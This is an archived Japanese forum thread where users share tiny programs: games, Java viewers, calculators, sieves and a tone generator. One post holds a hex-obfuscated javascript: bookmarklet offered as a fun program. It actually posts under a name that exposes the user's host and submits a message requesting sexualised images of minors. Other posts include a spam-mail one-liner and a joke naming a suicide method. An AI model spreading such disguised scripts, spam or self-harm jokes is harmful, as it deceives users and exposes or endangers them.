メンバ情報(メソッド以外のメンバ):メンバ属性、メンバの型、メンバ名称
0700(2/2)
NGNG・ファイル情報
ファイル名:任意
形式:各情報を1行に1つづつ出力。最初の行がファイル名であればその他の順番は問わない
ただし複数ある情報(インクルードファイルなど)はバラバラの行に存在せずに、
同じ範囲内(n行目〜n+m行目)にあること
・クラス情報
ファイル名:任意
形式:1クラス1行で”,”(カンマ)区切りで情報を出力する
存在しない情報には空文字(””)を設定する
・メソッド情報
ファイル名:任意
形式:1メソッド1行で”,”(カンマ)区切りで情報を出力する
存在しない情報には空文字(””)を設定する
・メンバ情報
ファイル名:任意
形式:1メンバ1行で”,”(カンマ)区切りで情報を出力する
存在しない情報には空文字(””)を設定する
--------------------------------------------------------------------------------
以上です。7行ですべては難しいと思うので、ファイル情報のみのもの、クラス情報のみのもの
メソッド情報のみのもの、メンバ情報のみのものを出力するものでいいと思います。
※何がやりたいかというと、クラス図とかを手動で書くときにこれらが単独情報として存在してたら
便利だなと思いました。
0701デフォルトの名無しさん
NGNGDoxygenでも使っとけ
0703デフォルトの名無しさん
NGNG0704デフォルトの名無しさん
NGNGなんかキモいぜw
0705デフォルトの名無しさん
NGNGまたーり汁
0706デフォルトの名無しさん
NGNG0707デフォルトの名無しさん
NGNGめっちゃ好きだけど、1人じゃ出来ないんだよね。
ゲーム自体は1人でも十分楽しいと思うのだが…。
0708デフォルトの名無しさん
NGNG判定がどれくらいになるかというところ。
0709デフォルトの名無しさん
NGNG0710デフォルトの名無しさん
NGNGhttp://popcap.com/
ここに行ってみそ。
bejeweledあるよ。
0711710
NGNG普通のゲームとしてのbejeweledね、7行じゃないよ。
ちなみに上記のサイトのは1人プレイ用。
0712710
NGNGゲームオーバーの判定は出来てないけど・・・・
入力は数字3つ
1つ目:x座標
2つ目:y座標
3つ目:動かす方向(0〜3)
extern "C"{srand(int);rand();putchar(int);scanf(void*,...);};main(){int i,j,x,y,
z,m,o[]={-10,1,10,-1},d[100],q[100],a[]={1,10};for(i=100;i--;)d[i]=i/10&&i/10-9
&&i%10&&i%10-9?rand()%6:6;while(1){for(i=0;i<100;++i%10==0?putchar(10):1)putchar
("@*&$#% "[d[i]]);scanf("%d%d%d",&x,&y,&m);z=y*10+x;y=z+o[m];d[y]-6?d[z]^=d[y]^=
d[z]^=d[y]:1;for(i=100;i--;)q[i]=0;for(i=0;i<100;i++){for(x=2;x--;){for(j=i+a[x]
;d[j]==d[i]&&d[j]!=6;j+=a[x]);if((j-i)/a[x]>=3)for(j-=a[x];j>=i;j-=a[x])q[j]=1;}
}j=0;for(i=100;i--;)q[i]?j=1,d[i]=rand()%6:1;!j?d[z]^=d[y]^=d[z]^=d[y]:1;}}
0713保守
NGNG0714デフォルトの名無しさん
NGNGオメガナゲ
Fantasy on Multiple Entry tunes
- Overture to server administrator
- Codename "BBQ"
- Number 29
0715714
NGNGお詫びになんか作ろうか・・
0716714
NGNGお詫びになんか作ろうか・・
0717デフォルトの名無しさん
NGNG0718デフォルトの名無しさん
NGNG>>699-700をつくって。
0719デフォルトの名無しさん
NGNGオ○ニーしている御主人を眺める猫の表情
<BODY onLoad="f()" ID=B><SCRIPT>p=0;n=Array("10 42400 .3|7|06033|1\1213ニニ´9",
"8ノ5(、_, )、5\1|0 12 03|1|2 `ニニ´2.3|1|2200 .33|1\22311",1,9,0,24,24,0,9,
"8/ 42433\7|0 60 .3|1|0 120.3:|1\00`ニニ´0.11"," ","<br>0 ","000","::::",
"''''''","(●)","0,,ノ(、_, )ヽ、,,","1|5,2、5、3|1","2/\___/ヽ1","-一´\<p>"
,"8/22 33\1|0","3/1./`ー‐-‐‐9","0`-=ニ=- '0",".3:/1./`ー`",
"10222.3|1|042423|7\613-=-''9");function f(){a=n[n[p++%7+2]];i=14;while(i-->0)
a=a.split(i).join(n[i+10]);B.innerHTML=a+a+a;setTimeout("f()",99);}</SCRIPT>
0720デフォルトの名無しさん
NGNGキモッ
0722デフォルトの名無しさん
NGNGsdim n,$F,4:dim j,$FF:j=h/2,h,h/2,0,h/4,0,h/4,0,0,0,0,winy,winy,winy:onclick @f
*@:int d:randomize:rnd d,10000:str d,4:a=1
repeat 4:peek c,d,cnt:c-'0':n.cnt=""+c:if a{if c=0 {n.cnt=" "} else{a=0}}:loop
repeat 11:redraw 0:color 255,255,255:boxf:color 0,0,0:c=cnt
repeat 4:a=c-cnt:if a<0 {a+14} pos x+(w*cnt),y-j.a:mes n.cnt:wait 1:loop
redraw 1:loop:stop
HSPでFF風ダメージ表示をしてみる
0723デフォルトの名無しさん
NGNGsdim n,$F,5:dim j,$FF:j=h/2,h,h/2,0,h/4,0,h/4:repeat
int d:int i:gettime d,4:gettime i,5:str d,2:str i,2:d=d+":"+i
repeat 12:redraw 0:color 255,255,255:boxf:color 0,0,0:c=cnt
repeat 5:strmid n.cnt,d,cnt,1:a=c-cnt:a+=(a<0)*14:pos x+(w*cnt),y-j.a
mes n.cnt:wait 1:loop:redraw 1:loop:wait 6000:loop
面白かったので改悪。根本的な部分は何も変わっていない…
0724デフォルトの名無しさん
NGNG0725デフォルトの名無しさん
NGNG0726デフォルトの名無しさん
NGNG0727デフォルトの名無しさん
NGNG343文字なので一応7行以内(343<79x5<79x7)。
改行をとって全て繋げてからアドレスバーに貼り付け。
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e76616c75653d275c75333045445c75333045415
c75373533425c75353043465c75333034465c75333036305c75333035355c7533303434273b7375626d69742e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
↓ここら辺を開いてからお試しあれ。
http://pc5.2ch.net/test/read.cgi/tech/1051703369/l50
0728デフォルトの名無しさん
NGNG0729デフォルトの名無しさん
NGNGhttp://that3.2ch.net/test/read.cgi/gline/1078904721/694
せめて名前を選んで本文を入力するとJavaScriptを生成するとか
0730fusianasan
NGNG0731デフォルトの名無しさん
NGNG0732画像ビューア
NGNGActionListener{JLabel l=new JLabel();public void actionPerformed(ActionEvent e)
{JFileChooser f=new JFileChooser();if(f.showOpenDialog(this)==0)l.setIcon(new
ImageIcon(f.getSelectedFile().getPath()));};public static void main(String[] a)
{new I();}I(){setDefaultCloseOperation(3);setSize(600,480);JToolBar t=new
JToolBar();JButton b=new JButton("開");b.addActionListener(this);getContentPane
().add(t,"North");t.add(b);getContentPane().add(new JScrollPane(l));show();}}
0733ZG196182.ppp.dion.ne.jp
NGNG0734デフォルトの名無しさん
NGNGimport javax.swing.*;import java.awt.event.*;class I{public static void main(
String[]a){new JFrame(){JLabel l;{setContentPane(new JScrollPane(l=new JLabel(
)));setDefaultCloseOperation(3);JMenuBar t;setJMenuBar(t=new JMenuBar());t.add
(new JMenuItem(new AbstractAction("開"){public void actionPerformed(ActionEvent
e){JFileChooser f=new JFileChooser();if(f.showOpenDialog(l)==0)l.setIcon(new
ImageIcon(f.getSelectedFile().getPath()));}}));setSize(600,480);show();}};}}
0735システムプロパティービューア
NGNG] a){new JFrame(){{Properties p=System.getProperties();String[] k=(String[])p.
keySet().toArray(new String[0]);int i,g=k.length;String[][] d=new String[g][2];
Arrays.sort(k);setDefaultCloseOperation(3);for(i=0;i<g;i++){d[i][0]=k[i];d[i][1
]=p.getProperty(k[i]);}getContentPane().add(new JScrollPane(new JTable(d,new
String[]{"key","value"})));pack();show();}};}}
0736デフォルトの名無しさん
NGNGimport java.util.*;import javax.swing.*;class S{static{new JFrame(){Properties
p;{setDefaultCloseOperation(3);Object[]k=(p=System.getProperties()).keySet().
toArray();int g=k.length;Object[][]d=new String[g][2];for(Arrays.sort(k);g-->0
;d[g][1]=p.get(k[g]))d[g][0]=k[g];setContentPane(new JScrollPane(new JTable(d,
new String[]{"key","value"})));pack();show();}};}}
0737デフォルトの名無しさん
NGNG0738デフォルトの名無しさん
NGNG0739デフォルトの名無しさん
NGNGttp://cm.xrea.cc/
0740./@ 1 2 3 で FFT の ビット反転部分(2^3)
NGNGinline int pow2(int i){return(1<<i);}
int main(int argc, char** argv){
int m = argc-1, n = pow2(m), *r = new int[n];
for(int i=0; i<n; i++)
{ r[i]=0; for(int j=0; j<m; j++){ if(pow2(j)&i){r[i]|=pow2(m-j-1);} }
std::cout<<"r_"<<i<<" = "<<r[i]<<std::endl; } delete[] r; return 0; }
0741デフォルトの名無しさん
NGNG単純な条件判定やジャンプ命令と関数呼び出しぐらいできればいいかな。
0742デフォルトの名無しさん
NGNG0743デフォルトの名無しさん
NGNG手牌はファイルから読み込みってことにしたらいけそうな気がする。
0744デフォルトの名無しさん
NGNG#include <stdlib.h>
typedef unsigned int U;int main(void){char *a;U n;register U x,l,i,t;fprintf(
stderr,"n=?\n> ");fflush(stdout);scanf("%u",&n);if(n==2)return !printf("2\n");
if(n<2)return 0;l=(n-1)/2;a=malloc(8*l);if(!a)return fprintf(stderr,"a==NULL"),
1;printf("2\n",n);memset(a,0xFF,sizeof(char)*l);for(i=0,x=3;i<l;i++,x+=2){if(!a
[i])continue;printf("%d\n",x);for(t=i+x;t<l;t+=x) a[t]=0;}free(a);return 0;}
アリストテレスのふるい
0745デフォルトの名無しさん
NGNGアリストテレスのふるいって何だよ…
それからmemsetは<string.h>ね。
0746爆発(7行+7行)
NGNG//14行でしかも数年前の再掲です。ごめん。Java1.5.0(Linux)にて動作確認。
//E.javaとしてコンパイルしてください。
//<applet code="E.class" width="512" height="512"/>
import java.awt.*;import java.awt.event.*;import java.awt.image.*;class A
extends java.applet.Applet{int W=128,f=127,F=255,X,Y;byte[]t=new byte[W*W+W];
MemoryImageSource s;Image m;public void init(){s=new MemoryImageSource(W,W,new
IndexColorModel(8,F,t,0,false),t,0,W);s.setAnimated(true);addMouseListener(new
MouseAdapter(){public void mousePressed(MouseEvent e){X=e.getX()/4;Y=e.getY()/
4;c();}});m=createImage(s);repaint();}void c(){}public void paint(Graphics g){
g.drawImage(m,0,0,W*4,W*4,this);}public void update(Graphics g){paint(g);}}
public class E extends A{class P{double u=Math.random()*2-1,v=-2-Math.random()
*3,x,y;int s(){return(int)(x+=u)+(int)(y+=v+=.1)*W;}}P[]p;int i,j,z;{for(;i<f;
i+=3){t[i]=t[i+f]=t[i+254]+=i*2;t[i+126]=t[i+252]=t[i+253]+=F;}}void c(){for(j
=0;j<64;p[j++].y=Y)(p[j]=new P()).x=X;}public void start(){new Thread(){public
void run(){try{for(p=new P[64];;sleep(20)){for(i=j;i>0;)if((z=p[--i].s())>0&&z
<W*W+W)t[z]=(byte)f;for(;++i<W*W;)t[i]=(byte)((t[i-1]+t[i+1]+t[i+W])*F/766);s.
newPixels();}}catch(Exception e){}}}.start();}public void stop(){p=null;}}
0747デフォルトの名無しさん
NGNGtypedefイラネ
0748もっと短かくできるけど綺麗にまとまった電卓
NGNG#include <stdlib.h>
typedef double d;char buf[80],*p;d e();void s(){while(*p==' '||*p=='\t')p++;}
d n(){d r=0;s();(*p=='(')?(p++,r=e(),p++,0):(r=strtod(p,&p),0);s();return r;}
d t(){d r=n();while(*p=='*'||*p=='/')(*p++=='*')?(r*=n()):(r/=n());return r;}
d e(){d r=t();while(*p=='+'||*p=='-')(*p++=='+')?(r+=t()):(r-=t());return r;}
int main(){while(fgets(p=buf,sizeof buf,stdin))printf(" %g\n",e());return 0;}
0750デフォルトの名無しさん
NGNGtypedef double d;d strtod(const char*,char**);d fabs(d),sin(d),cos(d),tan(d);
char buf[99],*p;d e();void s(){while(*p==' '||*p=='\t')p++;}d n(){d r,(*f)(d);
s();f=*p=='s'?sin:*p=='c'?cos:*p=='t'?tan:0;while(f&&*p>'`'&&*p<'{')p++;s();*p
=='('||*p=='|'?(p++,r=e(),r=*p++==')'?r:fabs(r)):(r=strtod(p,&p));if(f)r=f(r);
s();return r;}d t(){d r=n();while(*p=='*'||*p=='/')*p++=='*'?(r*=n()):(r/=n())
;return r;}d e(){d r=t(),R;while(*p=='+'||*p=='-')R=*p++-',',r-=R*t();return r
;}int main(){while(fgets(p=buf,sizeof buf,stdin))printf(" %g\n",e());return 0;}
絶対値と三角関数を入れた。
まさか収まらないとは思わなかった。
今は反省している。
0751750
NGNG0752デフォルトの名無しさん
NGNG0753デフォルトの名無しさん
NGNGd fabs(d),sin(d),cos(d),tan(d);
0754デフォルトの名無しさん
NGNGホントだ見逃してマスタ…
吊ってきます orz
0755デフォルトの名無しさん
NGNGexec E < src > dst
exec D < src > dst
unsigned U[256][256][259],*Y,C,L,W,N,K,Z,T,Q=258,P,X=256;f(w){for(;(W*=w)<=~L*X
/X||W<X*X&&(W=65535&-L);L*=w=X)Z?N=N*X+getchar():putchar(L>>24);}main(i,v)char*
*v;{for(Z=*v[C=1]-69;K<X;K++<4&&Z?W=T/X,f(1):0)for(T=X;T--;*Y=Y[1]=1)Q[Y=U[K][T
]]=2;for(W=T;C;Z*--C&&putchar(C-1)){Y=U[P][--C];P=C;i=Z?0:getchar()+2;W/=Y[Q]++
;for(K=C=0;T=Y[C],Z?W*(K+T)<=N-L:i--;C++)K+=T;f(T?L+=W*K,T:1);if(!T||!C){for(T=
K=X;T;)K-=!!Y[--T+2];W/=K;for(K=1;i=!Y[++K],Z?W*(T+i)<=N-L:K<C;L+=W*i);f(1);C=K
;}++Y[C];for(K=Y[Q]>Q?Y[Q]=2:Q;K<Q;)Y[Q]+=Y[K++]/=2;}for(;C++<4;f(1))W/=X;}
0756デフォルトの名無しさん
NGNG0757755
NGNGunsigned*Y,U[256][256][259],C,L,W,N,K,Z,T,Q=258,P,X=256;f(w){for(;(W*=w)<=~L*X/
X||W<X*X&&(W=65535&-L);L*=w=X)Z?N=N*X+getchar():putchar(L>>24);}main(i,v)char**
v;{for(Z=*v[C=1]-69;K<X;K++<4&&Z?W=T/X,f(1):0)for(T=X;T--;*Y=Y[1]=1)Q[Y=U[K][T]
]=2;for(W=T;C;Z*--C&&putchar(C-1)){Y=U[P][--C];P=C;i=Z?0:getchar()+2;W/=Y[Q]++;
for(K=C=0;T=Y[C],Z?W*(K+T)<=N-L:i--;C++)K+=T;f(T?L+=W*K,T:1);if(!T||!C){for(T=K
=Q;T;)K-=!!Y[--T];W/=K;for(K=1;i=!Y[++K],Z?W*i<=N-L:K<C;L+=W*i);f(1);C=K;}++Y[C
];for(K=Y[Q]>Q?Y[Q]=2:Q;K<Q;)Y[Q]+=Y[K++]/=2;}for(;C++<4;f(1))W/=X;return 0;}
0758perl ./7prime.pl 100000
NGNGfor(my $i=0; $i<=$ARGV[0]; $i++){push(@a,$i);}
for(my $i=2; $i<=$ARGV[0]; $i++){
unless($a[$i]){next;}
print("$i\n");
for(my $j=2*$i; $j<=$ARGV[0]; $j+=$i){$a[$j]=0;}
}
0759748 (ループやめて 5 行…)
NGNG;c b[80],*p;d e();s(){while(*p==32||*p==9)p++;}d n(){d r=0;s();(*p==40)?(p++,r=
e(),p++,0):(r=strtod(p,&p));s();return r;}d t(){d r=n();while(*p==42||*p==47)(*
p++==42)?(r*=n()):(r/=n());return r;}d e(){d r=t();while(*p==43||*p==45)(*p++==
43)?(r+=t()):(r-=t());return r;}main(){gets(p=b);printf("%g\n",e());return 0;}
0760デフォルトの名無しさん
NGNGint main()
{App* papp=new App;
if(!papp) return -1;
papp->run();
delete papp;
return 0;}
#include "Defines.h"で無限の可能性
0761デフォルトの名無しさん
NGNG0762デフォルトの名無しさん
NGNG0763デフォルトの名無しさん
NGNG0764デフォルトの名無しさん
NGNG0765デフォルトの名無しさん
NGNGprint'Trip Key: #';$_=<STDIN>;chomp;$k=$_;
~s/"/"/g;~s/</</g;~s/>/>/g;$t=$_;~y/ !#--/\xA0\xA1\xA3-\xAD/;
$c=substr($_,0,1).substr($t,1,2).substr($_,3);$_=substr($t.'H.',1);
~y/:-@[-` --\x7F-\xFF/A-Ga-f./;$t=substr(crypt($c,$_),-10);
print"#$k -> $t\n";
0766デフォルトの名無しさん
NGNGprint'Trip Key: #';$_=<STDIN>;chomp;$k=$_;
~s/"/"/g;~s/</</g;~s/>/>/g;$t=$_;~y/ !#--/\xA0\xA1\xA3-\xAD/;
$c=substr($_,0,1).substr($t,1,2).substr($_,3);$_=substr($t.'H.',1);
~y/:-@[-` --\x7F-\xFF/A-Ga-f./;$t=substr(crypt($c,$_),-10);
print"#$k -> $t\n";
0767デフォルトの名無しさん
NGNG0768デフォルトの名無しさん
NGNG0769デフォルトの名無しさん
NGNGC言語のみで、しかもかなり適当。
無理矢理80字にしたから、そのままじゃ動かないし。
漏れじゃこれが限界でした。ファイルオープンしなければ7行いけそうかな。
#!/usr/bin/perl
use strict;my(@I,@F,$i,$t,$c,@V);open(IN,$ARGV[0]);eval{flock(IN,1)};my@data=<IN
>;close(IN);foreach(@data){s/\r\n/\n/;next if($_=~/^\s*\n$/);next if($_=~m|^//|)
;$c=1 if($_=~m|/\*|);next if($c);s|//.*||;$c=0 if($_=~m|\*/|);$t=1 if($_=~/^\{$/
);$t=0 if($_=~/^\}$/);push(@I, $1) if(($_=~/^\#.+?<(.+?)>/) && !$t);push(@F,$1)i
f(($_=~/^(.+?)\(/) && !$t);push(@V,$1) if(($_=~/^([^\#\(\)\{\}]+)$/)&&!$t);$i++;
}my @o=($ARGV[0],$i,@I,@F,@V);open(O,">".$ARGV[0]."\.dat");eval{flock(O, 2);};pr
int O join("\n",@o),"\n";close(O);exit;
0770デフォルトの名無しさん
NGNG#!/usr/bin/perl
$f=$ARGV[0];open I,$f;for(<I>){s/\r//;next if /^\s*$/;next if m|^//|;$c=1 if
m|/\*|;next if $c;s|//.*||;$c=0 if m|\*/|;$t=1 if /^\{$/;$t=0 if /^\}$/;push @I,
$1 if /^\#.+?<(.+?)>/&&!$t;push @F,$1 if /^(.+?)\(/&&!$t;push @V,$1 if
/^([^\#\(\)\{\}]+)$/&&!$t;$i++}$,="\n";open O,">$f.dat";print O $f,$i,@I,@F,@V
0771デフォルトの名無しさん
NGNGflock無しでfix&縮め。
#!/usr/bin/perl
use strict;my($p,@I,@F,$i,$t,$c,@V);open H,($p=$ARGV[0]);for(<H>){s/\r//;next
if m#^\s*\n$|^//#;s#/\*.*?\*/##g;(s|^.*\*/||)?$c=0:next if$c;$c=1,next if s
|/\*.*||;s|//.*||;(/^\{$/)?$t=1:(/^\}$/)?$t=0:1;if(!$t){push(@I,$1)if
/^#.+?<(.+?)>/;push(@F,$1)if /^(.+?)\(/;push(@V,$1)if /^([^#(){}\n]+)$/}$i++}
open H,">$p.dat";print H join("\n",$p,$i,@I,@F,@V),"\n";close H;
0772デフォルトの名無しさん
NGNGopen H,$p=pop;for(<H>){m#^\s*\n$|^//#&&next;s#/\*.*?\*/##g;$c&&(s|^.*\*/||?$c=0
:next);s|/\*.*||and$c=1,next;s|//.*||;$t=/^\{$/?1:/^\}$/?0:$t;$i++;$t&&next;
/^#.+?<(.+?)>/&&push@I,$1;/^(.+?)\(/&&push@F,$1;/^([^#(){}\n]+)$/&&push@V,$1}
open H,">$p.dat";print H join"\n",$p,$i,@I,@F,@V
0773デフォルトの名無しさん
NGNG0774デフォルトの名無しさん
NGNG凄いな
0775デフォルトの名無しさん
NGNG0776デフォルトの名無しさん
NGNGecho file_get_contents('http://www.google.co.jp/');
?>
0777デフォルトの名無しさん
NGNG0778デフォルトの名無しさん
NGNGそれじゃArrayになっちゃうんじゃね?
<?
echo implode ("", file('http://www.google.co.jp/') );
?>
0779デフォルトの名無しさん
NGNG懐かしい…。
漏れはこのスレ好きだぜ。
0780デフォルトの名無しさん
NGNGmail('[email protected]', '※未承諾広告※', '加奈です', 'From: [email protected]');
?>
0781デフォルトの名無しさん
NGNGunsigned long a,d,e,f,i,o;FILE*p;x(){o=sin(f*i*.0001424757f)*32752;}y(){o=32752
*(i/(22050/f)%2?1:-1);}z(){o=rand()*65504-32752;}w(h){fwrite(&o,h,1,p);}main(c,
v)char**v;{a=atoi(v[1]);f=atoi(v[2]);d=atoi(v[3]);p=fopen("o.wav","wb");fputs(
"RIFF",p);e=o=88*d+(d+4)/5+36;w(4);fputs("WAVEfmt ",p);o=16;w(4);o=65537;w(4);o
=44100;w(4);o*=2;w(4);o=2;w(2);o=16;w(2);fputs("data",p);e=o=e-36;w(4);for(i=0;
i<e/2;++i){a-2?a-1?a?0:x():y():z();w(2);}fclose(p);return 0;}
トーンジェネレータ。出力はo.wav (PCM 16bit 44100Hz)。
./out osc freq duration
(oscは0=Sine 1=Square 2=WhiteNoise、freqは周波数[Hz]、durationは長さ[ms])
0782デフォルトの名無しさん
NGNG調べたけど分からなかった。
0783デフォルトの名無しさん
NGNG0784デフォルトの名無しさん
NGNG0785デフォルトの名無しさん
NGNGでぐぐればわかるんじゃない?
0786デフォルトの名無しさん
NGNG0787デフォルトの名無しさん
NGNG0788デフォルトの名無しさん
NGNG昔からの名残ですから、残念!!
0789デフォルトの名無しさん
NGNG0790デフォルトの名無しさん
NGNGunsigned long d,e,f,i,o,l=32752;FILE*p;u(){o=((i*f)%44100)*1.46645f;}x(){o=sin(
f*i*.0001424757f)*l;}y(){o=l*(i/(22050/f)%2?1:-1);}z(){o=rand()*l*2-l;}w(h){fw\
rite(&o,h,1,p);}main(c,v)char**v;{c=atoi(v[1]);f=atoi(v[2]);d=atoi(v[3]);p=fop\
en("o.wav","wb");fputs("RIFF",p);e=o=88*d+(d+4)/5+36;w(4);fputs("WAVEfmt ",p);o
=16;w(4);o=65537;w(4);o=44100;w(4);o*=2;w(4);o=1048578;w(4);fputs("data",p);e=o
=e-36;w(4);for(i=0;i<e/2;++i){c-3?c-2?c-1?c?0:x():y():z():u();w(2);}fclose(p);}
トーンジェネレータにSawを追加。
osc 3=Saw
0791デフォルトの名無しさん
NGNGhttp://www.columbia.edu/acis/history/vt100.html
MSDOS何かでは標準状態で24+最下行のファンクション表示だったが、
最下行のファンクション表示を利用することで25行の表示も選択できたというだけの話なのだ。残念!!
今はファンクション表示なしの25行になってるけど
0792デフォルトの名無しさん
NGNG0793デフォルトの名無しさん
NGNGとにかく80×24が一般的だってこと
0794デフォルトの名無しさん
NGNG0795デフォルトの名無しさん
NGNGやってみれ。
0796デフォルトの名無しさん
NGNGpart1 の >>1
> 海外のプログラマーが、たったの七行足らずで
> DVDのプロテクトを解除するプログラムを作成!
> 我々も負けてはいられません!
>
> ルール:七行なら言語は問いません。では、どうぞ!
0797デフォルトの名無しさん
NGNG初代スレの1-12辺りを参照のこと
0798デフォルトの名無しさん
NGNG0799デフォルトの名無しさん
NGNG80 文字の由来は紙の大きさにより。
そして 25 行は、ディスプレイも 80 文字に合わせた結果、
ディスプレイの縦横比から自然と 25 行になったと思っていた。
パンチカードに VT100 が合わせたんじゃなかった?
0800デフォルトの名無しさん
NGNG0801デフォルトの名無しさん
NGNG0802デフォルトの名無しさん
NGNG0803デフォルトの名無しさん
NGNG0804デフォルトの名無しさん
NGNG0805デフォルトの名無しさん
NGNGmain
(void)
{
return
0;
}
0806デフォルトの名無しさん
NGNGInput thought$ : If thought$="自殺" Then Goto *homecenter
*continuelife
Goto *continuelife
*homecenter
hand$="七輪"+"練炭" : Goto *yominokuni
End
0807デフォルトの名無しさん
NGNG2行目と3行目は反対かと
0808デフォルトの名無しさん
NGNG相変わらず皆さん良い仕事されますね。
感心しまくりデス。
0809デフォルトの名無しさん
NGNG'2222222222222222222222222222222222222222222222222222222222222222222222222222'.
'3333333333333333333333333333333333333333333333333333333333333333333333333333'.
'4444444444444444444444444444444444444444444444444444444444444444444444444444'.
'5555555555555555555555555555555555555555555555555555555555555555555555555555'.
'6666666666666666666666666666666666666666666666666666666666666666666666666666'.
'7777777777777777777777777777777777777777777777777777777777777777777777777777'.
0810デフォルトの名無しさん
NGNG.
.
.
.
.
.
0811デフォルトの名無しさん
NGNGこれは38の全角空白文字アトムを単位節として7節からなるPrologの述語です。これが
?- ・・・ ' ', ・・・
のように質問の中で使われると
repeat(N) :- N > 0.
repeat(N) :- N > 0,M is N-1,repeat(M).
が定義されていたとして、
?- ・・・ repeat(7), ・・・
と同じ意味になります。
0812デフォルトの名無しさん
NGNG0813デフォルトの名無しさん
NGNG0814748
NGNGmath.h の関数をいくつか入れてみた.
sin は s, cos は c, tan は t, atan は a,
log は l, exp は e, fabs は f, sqrt は r (s は sin で使ってるので)
typedef char c;typedef double d;int printf(c*,...),a;c *gets(c*),b[81],*p;d log
(d),exp(d),sin(d),cos(d),tan(d),atan(d),fabs(d),sqrt(d),strtod(c*,c**),e();main
(){for(;gets(p=b);printf(" %g\n",e()));return 0;}s(){for(;*p==9||*p==32;p++);}d
n(){d r,(*f)(d);s();a=*p-96;f=a-18?a-6?a-1?a-20?a-3?a-19?a-5?a-12?0:log:exp:sin
:cos:tan:atan:fabs:sqrt;for(;*p&64;p++);s();r=*p-40?strtod(p,&p):(p++,r=e(),p++
,r);return s(),f?f(r):r;}d t(){d v=n();while(*p==42||*p==47)*p++-47?(v*=n()):(v
/=n());return v;}d e(){d u=t();for(;*p==43||*p==45;u+=(44-*p++)*t());return u;}
1 + 2 * (3-2/2) // 優先順位
5
r6 // カッコがなくても使える
2.44949
r2*r(3) // あっても使える
2.44949
f(s(t(-1))) // 関数
0.99991
1E4*c(60*180/3.1416) // E も使える (X*180/3.1416 は角度 X を角速度に変換)
5000
誤差は bc -l レベルなので勘弁して
ホントは pow も実装したかったけど,
このアルゴリズムではちょっと無理です.
0815デフォルトの名無しさん
NGNG0816デフォルトの名無しさん
NGNG0817デフォルトの名無しさん
NGNG<a href=810 target=_blank>810</a>は将棋の煙詰めをイメージしたもので
プログラムの姿の面白さ求めたものです。
「意味」という言葉は適切でなかったですね。
「同じ機能として使えます」くらいでしょうか。機能的な観点からは、
38の空白文字でも1文字のaでも"LABEL"が違うだけで差はないので、
見易いようにa一文字で表現することにして、定義が
a.
a.
a.
a.
a.
a.
a.
だとすると、
?- a,write(b),fail.
bbbbbbb
no
?- repeat(7),write(b),fail.
bbbbbbb
no
?- 同じ結果が得られます。Prologのデータベースはこのような
使い方もできますよ、ということです。
0818814
NGNGもう 3.1416 くらいでいいかな
3.141593 くらいじゃ, まだ誤差が出るし, それ以上だと幅がキツい
理系の人ってどれくらいの値を使うんだ?
0819デフォルトの名無しさん
NGNGテイラー展開しまくった式使ったらいけそうだけど > π
0820デフォルトの名無しさん
NGNG0821デフォルトの名無しさん
NGNG0822814
NGNGじゃあ 3.14 で考えて,
できるだけ細かくしていくことにするよ
>>814 の時点で結構キツいし
3.141593 までいけば御の字かな
意見ありがと
0823デフォルトの名無しさん
NGNG="Hello World";Font f=new Font("MS ゴシック",0,24);Image i;Color c=new Color
(0,0,255,128);FontMetrics m=getFontMetrics(f);public static void main(String s[
]){a w=new a();}a(){w=m.stringWidth(d);h=m.getHeight();try{Robot b=new Robot();
Rectangle r=new Rectangle(0,0,w,h);i=b.createScreenCapture(r);}catch(Exception
e){}setSize(w,h);setVisible(true);}public void paint(Graphics g){g.setFont(f);
g.setColor(c);g.drawImage(i,0,0,w,h,this);g.drawString(d,0,m.getAscent());}}
学校で暇な時間に作ったものを7行にまとめて見た。
実行すると画面の左上にHello Worldと表示されます。
いろいろ削ったせいで終了できなくなったのでCtrl + Cで終わらせてください。
0824デフォルトの名無しさん
NGNG次は15行だったりするんでしょうかね?
それともこれを7行に?
0825825
NGNG# tinyp2p.py 1.0 (documentation at http://freedom-to-tinker.com/tinyp2p.html)
import sys, os, SimpleXMLRPCServer, xmlrpclib, re, hmac # (C) 2004, E.W. Felten
ar,pw,res = (sys.argv,lambda u:hmac.new(sys.argv[1],u).hexdigest(),re.search)
pxy,xs = (xmlrpclib.ServerProxy,SimpleXMLRPCServer.SimpleXMLRPCServer)
def ls(p=""):return filter(lambda n:(p=="")or res(p,n),os.listdir(os.getcwd()))
if ar[2]!="client": # license: http://creativecommons.org/licenses/by-nc-sa/2.0
myU,prs,srv = ("http://"+ar[3]+":"+ar[4], ar[5:],lambda x:x.serve_forever())
def pr(x=[]): return ([(y in prs) or prs.append(y) for y in x] or 1) and prs
def c(n): return ((lambda f: (f.read(), f.close()))(file(n)))[0]
f=lambda p,n,a:(p==pw(myU))and(((n==0)and pr(a))or((n==1)and [ls(a)])or c(a))
def aug(u): return ((u==myU) and pr()) or pr(pxy(u).f(pw(u),0,pr([myU])))
pr() and [aug(s) for s in aug(pr()[0])]
(lambda sv:sv.register_function(f,"f") or srv(sv))(xs((ar[3],int(ar[4]))))
for url in pxy(ar[3]).f(pw(ar[3]),0,[]):
for fn in filter(lambda n:not n in ls(), (pxy(url).f(pw(url),1,ar[4]))[0]):
(lambda fi:fi.write(pxy(url).f(pw(url),2,fn)) or fi.close())(file(fn,"wc"))
0826デフォルトの名無しさん
NGNG9行になったらしい。
0827デフォルトの名無しさん
NGNG改行位置を調節すれば数文字オーバーする程度か
このスレをリファラで飛ばせば反応してくれそうだw
0828デフォルトの名無しさん
NGNGttp://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/123945
0829デフォルトの名無しさん
NGNGインデントつけてもごちゃごちゃするもんなperlって。大好きだけど
0830デフォルトの名無しさん
NGNG0831デフォルトの名無しさん
05/02/01 00:17:59>>824
携帯からだから何行めかわからないけど
main(String a[])
を
main(String[]a)
で
1by(・∀・)te!
0832デフォルトの名無しさん
05/02/01 09:13:43#include <stdio.h>
typedef double d;d p(d x,d y,d X,d Y,int D){d w=X-x,h=Y-y;if(!D)return w*h/2;
else if(X*X+Y*Y<1)return w*h;else if(x*x+y*y>1)return 0;else{w/=2;h/=2;D--;
return p(x,y,x+w,y+h,D)+p(x+w,y,X,y+h,D)+p(x,y+h,x+w,Y,D)+p(x+w,y+h,X,Y,D);}}
main(){printf("%.9f",p(0,0,1,1,24)*4);}
0833デフォルトの名無しさん
